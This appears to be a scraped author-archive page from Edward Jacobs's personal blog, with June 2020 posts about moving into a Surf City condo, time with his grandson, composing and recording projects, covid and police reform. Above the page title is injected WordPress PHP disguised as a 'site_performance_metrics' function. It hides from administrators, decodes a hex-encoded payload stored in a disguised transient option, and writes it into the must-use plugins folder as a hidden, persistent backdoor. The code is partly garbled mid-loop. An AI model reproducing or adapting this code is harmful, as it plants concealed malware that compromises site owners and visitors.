if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 28 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • Monday, June 22, 2020

    Who’s happier?

  • Sunday, June 21, 2020

    So very happy to spend a day attending to this little guy and putting the news on the back burner. From the portfolio of Jackson in Surf City, 2020:

    Best Father’s Day ever soon to kick into gear, as I hear Jackson in the next room, making the first sounds of waking up. I got this.

    A great day ahead.

    One of the sweetest things about Jackson is the connection he clearly feels with Pattie. He and I spent two wonderful hours together this morning, then Pattie came down at 8:30, and within a few minutes, this (which went on for about 10 minutes, in complete silence:

    and since we are unlikely to be with him for his first birthday (July 28), we decided to have a pre-11-month birthday party instead. His first taste of chocolate cake was a resounding success, in both taste and finger-painting potential

  • Friday, June 19, 2020

    The best way to wake up, with Jackson here:

  • Thursday, June 18, 2020

    A morning in Surf City

    Up too early this morning, but getting some work done in the hours pre-dawn is always peaceful and relaxing. A little writing, then when dawn broke got to a few outside plumbing matters, and was delighted to see the sights above as the job finished.

    Joe, Cristin, and Jackson will arrive very late tonight (more likely early tomorrow a.m.), and I think we’ve got the place ready for them. We’ll clean up the deck today, get cable service turned on, hang a few more pix…all easily accomplished with the full day ahead.

    Yesterday’s drive here was surprisingly pleasant. Wanting to stop by a Home Depot in Jacksonville, the GPS led us on a very different, backroad route. Fun, lightly travelled roads which were really nice on the bike (Pattie brought a fully-loaded car). Pattie recalled (with a sly grin) this route, though…when she was a young teen, her (somewhat impaired, unable to drive) brothers would wake her early in the mornings for a road-trip to the beach. Pattie was recruited to drive them, as they were too far gone to drive; since she was too young to drive legally, they’d lead her on these backroads to avoid the attention of any police. Clearly this area in the early 1970s was still a bit sleepy…

    on the road to the beach

  • Tuesday, June 16, 2020

    Police reform, confronting American racism, rising covid-spread numbers, pessimistic economic/unemployment news, looming election…what a stew.

    My nephew’s 38th birthday today, he the eldest of his generation in our family. We really left him and his cohorts a mess; though at this point i imagine the generation that’s 20ish is blaming his generation.

    Feeling old.

  • Monday, June 15, 2020

    Cannot wait to see this little guy in a few days!

    Back in Greenville for appointments. Will return to the beach on Wednesday, eagerly awaiting our NYers arrival at some point on Thursday. The place is certainly ready for living, but the extra 24 hours will let us get a few more things ready–the one remaining room (my office/spare bdrm), outside faucets, a few more leaky-plumbing spots, set up a tv and get service turned on, etc. Hoping the weather’s nice enough on Wednesday for me to ride my bike down there but we’ll see..

    Covid numbers keep rising her ein NC, and in many other places. Yet people seem intent on making precaution-taking into a political issue. I just don’t see the logic in anyone’s arguments about this. Am more certain that the fall will be all-online for us at ECU. If not at the beginning of the semester, then within a few weeks.

    Going to see if i can finish up this little cello diversion today/tomorrow…really want to put that behind me, if possible, and move on to the setting of either Brasfield’s Renaissance or Marie Howe’s Limbo. Just not sure I’m ready to dig into the Cummings yet (“somewhere I have never travelled”).

    Just a taste of a gray-sky walk yesterday.
    Wonderful.

  • Sunday, June 14, 2020

    Ready to start the day…
    …after a look at the surf

    Yesterday was a wonderful day.

    Anton Miller, the violinist preparing Six Humors for an ACA Shelter Recording, had sent questions which indicated he was really getting down to the fine details. The questions he asked will help me, alot, in preparing an undated edition for ACA. He has also been very positive in his comments about the piece, which he clearly likes, and is enjoying getting to know. I will save his emails to look at when I’m feeling unsure, as they’re more than encouraging.

    After a few productive hours of work on the living space here–slowly but surely checking chores off the list (which is still quite long)–I connected with Chris Nappi. [My favorite picture of Chris is below; from about the time we met, ~1986, with John Cage. Several lifetimes ago.] I wrote Anima/Animus for Chris, and he’s now prepping it for a Shelter Recording. I gave him the music about two years ago, before a number of events caused some major tremors in Chris’ life, and the pandemic and loss of regular gigs has given him some time to dig in to it. As I was trying a few ‘different’ things, we agreed I’d give him the piece 98% finished, and he’d be the resource to expertly guide me through a few technical decisions. And the call we had yesterday was a big step in that direction. We may only need one more such consult, likely via email now, to focus on some notational details.

    John Cage, left, and Chris Nappi.
    This from the mid/late-80s, at a Manhattan SoMusic rehearsal.

    Then a return to work on the condo, and soon the arrival of Tara and Tim for an overnight visit. Great to have them here, both also a huge help in organizing things here; Tim handling–in about an hour–a particular task that would likely have taken me most of a day. Interesting, too, that Tim noticed that we’re one of three waterfront units which are occupied. The other 13 are still in various states of disrepair. As long as it’s been for us (more than 21 months), most of our neighbors are still waiting.

    ______________

    The news this morning continues to be abysmal. The bubble we’ve been in the past few days, as we work to re-establish this place for living, has been a balm, for sure. But today brings another report of a police killings; what’s notable in this case is the response to this event.

    “While there may be debate as to whether this was an appropriate use of deadly force, I firmly believe that there is a clear distinction between what you can do and what you should do,” (Mayor Keisha Lance) Bottoms said. “I do not believe that this was a justified use of deadly force.” The officer was fired, his partner on leave, the police chief resigns. This within hours of the shooting.

    The use of deadly force by the police is so often beyond reason, and the readily available phone-video now makes this unmistakable, unavoidable, and so very painful to too many. The militarization of police, the idea of training police to deal with too many types of problems in our neighborhoods and in our society…it has never been clearer and more evident that the role of policing needs examination and restructuring.

    On top of this is covid-19’s continued expansion, globally and locally. Countries and U.S. states which have ‘opened’ are now seeing surges in cases; areas without outbreaks, its residents complaining that many states were pursuing unnecessarily restrictive measures, are finally now seeing their own outbreaks. This isn’t going anywhere good; really not getting better; and fatigue is bringing too many people to ignore basic measures (masks, distancing) as we see crowds at restaurants and bars. Really hoping some treatments come soon, if not a vaccine.

    Pattie’s awake and joining me for coffee, so let the day begin…

  • Saturday, June 13, 2020

    We enjoyed a fabulous day of distraction yesterday. I spent the early morning doing some comp-work, responding to questions from performers preparing recordings of Anima/Animus (Chris Nappi, the marimbist it’s written for), and Six Humors for Shelter Recordings. The violinist working on Six Humors was someone I’d not known and, like Eliot and Ran who recorded On Balance, he’s just wonderful to work with.

    When working with a performer on a project, it’s always via close contact. Together in a practice room or office; at the very least, phone conversations. But given that these are really introductions at a time of pandemic–‘shelter’ being the operative word in this project–the primary mode of connection is written via email. It’s so very interesting to limit communication to written form; as I’ve noted before, it’s a means that encourages (if not forces) focused articulation. In these email exchanges, which are essentially questions and comments, the performer needs to make very clear their question, and I need to do the same with my responses. Clarity, concision, unambiguity are the rules. 

    Some of this experience will certainly become the basis of discussion in teaching.  We generally don’t find students coming to university classes with well-developed writing skills, sometimes those skills at a truly rudimentary level.  The university does offer writing tutors, etc., but students don’t understand the importance of their developing writing competence.  The experiences I’ve had over these past months have provided more examples of its centrality in communication, and I’ll bring up and share some of the exchanges I’ve had.

    And to you, my dear sister, I must say that I’ve enjoyed our frequent correspondence, quite a lot.  I don’t recall ever writing with you so regularly, though it’s certainly no substitute for hearing your voice, mood, gift for expressiveness.  Thank you for this time of regular contact.

    I have friends who detest email, preferring to send lengthy text messages.  Perhaps it’s a generational preference.  I don’t care for text messaging, except the briefest notes.  I get a kick out of the way different generations text, though, as well.  The older the generation, the more likely to use text with the same grammatical practices as other written means; the younger generation tends to abbreviate everything, and often the messages read like code.  To me, it feels more like ‘passing notes’ in class.

    At any rate…Friday began with matters of music, and that was great.  Today will be the same, although I’m getting off to a much later start than usual, and I’ll try to squeeze in some writing on the ‘diversion’ for Jason/cello.  I know the ending, and just have to get there, write less than a minute’s music.  I owe Jason an email, and I’d like to get him a finished piece with that next note, if possible.

    But the bulk of yesterday, and today, is about getting Surf City together.  I’m breaking up plumbing repairs with lots of other things.  The plumbing means the water needs turning off, so I have to plan around the need for water in cleaning (which is constant) or laundering (which seems constant).  But right now I’m sitting in the living room, which is 95% set up.  The tvs haven’t been mounted in the house, but as we’re not huge watchers, I’ll likely wait to get to that.  Cristin/Joe like the tv on constantly, for background, so I’ll definitely work on that next Wednesday, if not this weekend.  With Tim/Tara coming to visit today/overnight, we’ll make some good progress on a few things, I’m sure.  Tara will square away the kitchen with Pattie, I’ll give Tim whatever task(s) he wants to check off the list.  If they just want to hang and have a beer, that’d be just fine, too.  It’s always ok to just take a deep breath and watch the waves.  As it’s raining all weekend, there won’t be much deck-sitting or beach-walking, but that’s all ok.

    Onward to making some music.

    A view from our first ‘sit’ on the deck in Surf City

  • Thursday, June 11, 2020

    At long last, we’re in Surf City.

    We arrived yesterday morning at 1030, and the movers were here waiting for us, 30 minutes earlier than expected. And they were a super efficient and nice crew of 3 gents. 90 minutes later, furniture and tons of boxes were in the house, ready for unpacking and organizing.

    Pattie spent the day cleaning some things, unpacking a ton. I mostly worked on repairing a few things around here. The workmanship we found was spotty; some things done very, very well, and other things done quite poorly. My main task yesterday was to fix very leaky shower/tub faucets. Two trips to Lowes (one for advice, one for parts), which then led me to Wilmington to a plumbing supply store, and three attempts to rebuild the faucet cartridge and, success. With one of the two faucets. This morning, now that i know how to do this and have the parts, i should get the second faucet (leaking only a tiny bit) done in an hour or so.

    As i sit here, having coffee and looking out a very dirty deck window at the beach (have to repair the faucet leading to the hose on the deck so that we can clean these windows), i am happy to watch the waves, to hear the surf’s roar. The sun’s now up, it’s plenty light out, though cloudy, and i am happy to get to the day.

    As i look back into the apartment, there’s a long list of to-dos. There are many, many little jobs–plumbing, electrical, putting up curtain rods, towel/t.p. holders, mounting tvs and routing/hiding cables, and generally fixing whatever Pattie finds in her cleaning and organizing today.

    I see all that needs doing, and I immediately flash back 45-50 years, to a time when such chores meant a morning/day spent with dad. Usually such days began with assessing things; looking at the problem, taking measurements, gathering whatever information we could so that a stop at the hardware store would give the clerk a fighting chance at finding the right parts for us. [Now, of course, I take pictures/video to show someone at Lowes; I search the web to find parts catalogs and parts numbers…so much easier.] Then, the trip to the hardware store, where dad would often get assistance from gents he was sending work to as real estate manager. It may seem odd, but learning to describe a problem to someone, hearing them ask questions to help narrow down the issue…the back and forth discussion/inquiry taught me alot about efficient questioning, efficient answering, efficient follow-up. It taught me to hone the type of communication I use as a teacher (in addition to handyman); and taught me how to guide students towards focused analysis of problems.

    Then, following the hardware store stops, there was the requisite breakfast/diner stop. Nothing like a greasy spoon for breakfast, and though I don’t do it much any more, I know that I did so with Joe when he was young. And he shares my love of a diner breakfast, making for something nice to share. What I think I recall from such meals with dad (it was a long time ago, so I’m fuzzy on this) is the ‘planning conversation.’ What steps come next in our repair job; what materials do we need to gather; what do we lay out to prevent messes; what safety precautions (cutting electricity, turning off water, etc.)…organizing so that as soon as we finished our b’fast, we had a game plan. There are countless ways this strategy has helped me, not just in home repair, of course. From thinking out a musical problem that needs solving, to writing an assignment, to preparing to teach a class online, this is a strategy is an every day.

    Then, of course, is the memory that very rarely did things go as planned. This was the biggest challenge for both of us. I was a kid, learning how to deal with plans not going as anticipated, easily frustrated; dad wanted to get through the chore, and on to the next one. But again, I learned how to analysis problems and look for solutions. What dad was particularly good at was improvising fixes. These fixes were often temporary, but this is where I saw dad’s creativity, his ability to figure out what sort of material(s) we needed to complete the fix, and to look around our own house to find some that we could make do. It’s not at all hard to see this skill and perspective in brother Allan or, at an exceptionally high level, in brother Bob, the inventor.

    I am able to do these jobs, or I have the wherewithal/confidence to figure out how to do these jobs. And that’s a big and positive part of what dad instilled. Thankfully, these lessons stuck far more than some of the more negative things he modeled, and I am so grateful this is part of my foundation.

    Especially today, as I take on each home repair job, dad’ll be by my side, whispering in my ear, saying “you can do this, you can figure this out; good job.”

  • Tuesday, June 9, 2020

    I was raised to consider the police as a source of assistance. And there have been times–stranded on a highway with a car that won’t run–that I’ve felt a relief in the assistance offered. But that’s certainly not the bulk of my experience with police, and not at all the experience that non-white, non-males have had.

    It shouldn’t be necessary to have videos of police abusing their power, their badges of authority, the intimidation of their sidearms to know that many in communities throughout this country have been killed, abused, effected in profound ways by police.

    To see that so many are reconsidering what “police” are for, what sort of protection we, as a society, need/want from this public service–this is more than necessary. The restructuring of the police as a part of the public services our taxes support will, so many of us hope, bring about a better balance of resources, and a much-tamped down realization on the part of the police of their role among us.

    This won’t happen as quickly as we might hope, and there will be enormous resistance. We already see people driving cars into crowds of protesters, people drawing weapons on protesters, and this is just the beginning.

    Far more eloquent voices represented by these articles in The Atlantic–i find them very much worth the time:

    The First Step Is Figuring Out What Police Are For
    Racism Won’t Be Solved by Yet Another Blue-Ribbon Report
    How to Actually Fix America’s Police